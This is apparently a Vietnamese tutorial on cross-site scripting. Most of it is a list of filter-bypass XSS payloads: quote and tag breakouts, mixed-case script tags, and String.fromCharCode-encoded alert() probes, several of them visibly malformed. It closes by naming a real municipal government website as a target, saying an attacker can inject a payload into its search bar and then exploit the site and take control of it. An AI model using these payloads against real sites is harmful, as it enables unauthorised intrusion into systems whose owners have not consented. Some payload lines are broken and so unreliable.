Trong bài trước Giới thiệu chung về XSS Soleil đã giới thiệu qua về cách kiểm tra, xác định 1 site dính XSS và một số thao thác thực thi trên sites bị dính lỗi . Trong bài này Soleil sẽ đề cập đến các kỹ thuật bypass và quá trình thực hiện 1 cuốc tấn công bằng XSS
7. Kỹ Thuật Bypass
1
số site dính XSS không thể tấn công bằng những đoạn mã đơn giản, giải pháp nghĩ
đến đó là phải bypass bộ lọc. Có một số dạng bypass đoạn mã script như sau:
"><script>alert("Check By Soleil")</script>
"><script>alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108)) </script>
'><script>alert("Check By Soleil ")</script>
'><script>alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))</script>
<ScRIPt>aLeRT("Check By Soleil ")</ScRIPt>
<ScRIPt<aLeRT(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))</ScRIPt>
"><ScRIPt>aLeRT("Check By Soleil ")</ScRIPt>
"><ScRIPt<aLeRT(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108)) </ScRIPt>
'><ScRIPt>aLeRT("Check By Soleil ")</ScRIPt>
'><ScRIPt<aLeRT(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))</ScRIPt>
</script><script>alert("Check By Soleil ")</script>
</script><script>alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108) )</script>
"/><script>alert("Check By Soleil ")</script>
"/><script>alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))</script>
'/><script>alert("Check By Soleil ")</script>
'/><script>alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))</script>
</SCRIPT>"><SCRIPT>alert("Check By Soleil ")</SCRIPT>
</SCRIPT>"><SCRIPT>alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))
</SCRIPT>">"><SCRIPT>alert("Check By Soleil ")</SCRIPT>
</SCRIPT>">'><SCRIPT>alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))</SCRIPT>
</SCRIPT>">'<SCRIPT>alert(String.fromCharCode(67,104,101,99,107,32,66,121,32,83,111,108,101,105,108,45,86,72,66,32,89,104,58,100,117,99,100,117,110,103,46,48,56,99,108,99 ))</SCRIPT>
";alert("Check By Soleil ");"
";alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108));"
';alert("Check By Soleil ");'
';alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108));'
";alert("Check By Soleil ")
";alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108)) ';alert("Check By Soleil ")
';alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))
Trong đó: 67, 104, 101, 99, 107,
32, 66, 121, 32, 83, 111, 108, 101, 105, 108 chính là chuỗi string “ Check By
Soleil” ở dạng char.
Ví dụ:
-
Attacker có thể chèn vào thanh tìm kiếm
site http://www.hanoi.gov.vn đoạn
mã script đã bypass sau:
<SCRIPT>alert(String.fromCharCode(67,104,101,99,107,32,66,121,32,83,111,108,101,105,108,45,86,72,66,32,89,104,58,100,117,99,100,117,110,103,46,48,56,99,108,99 ))</SCRIPT>Từ đó xác định site này đã chính lỗ hổng XSS và sẽ tìm cách để khai thác, chiếm quyền điều khiển đối với site này.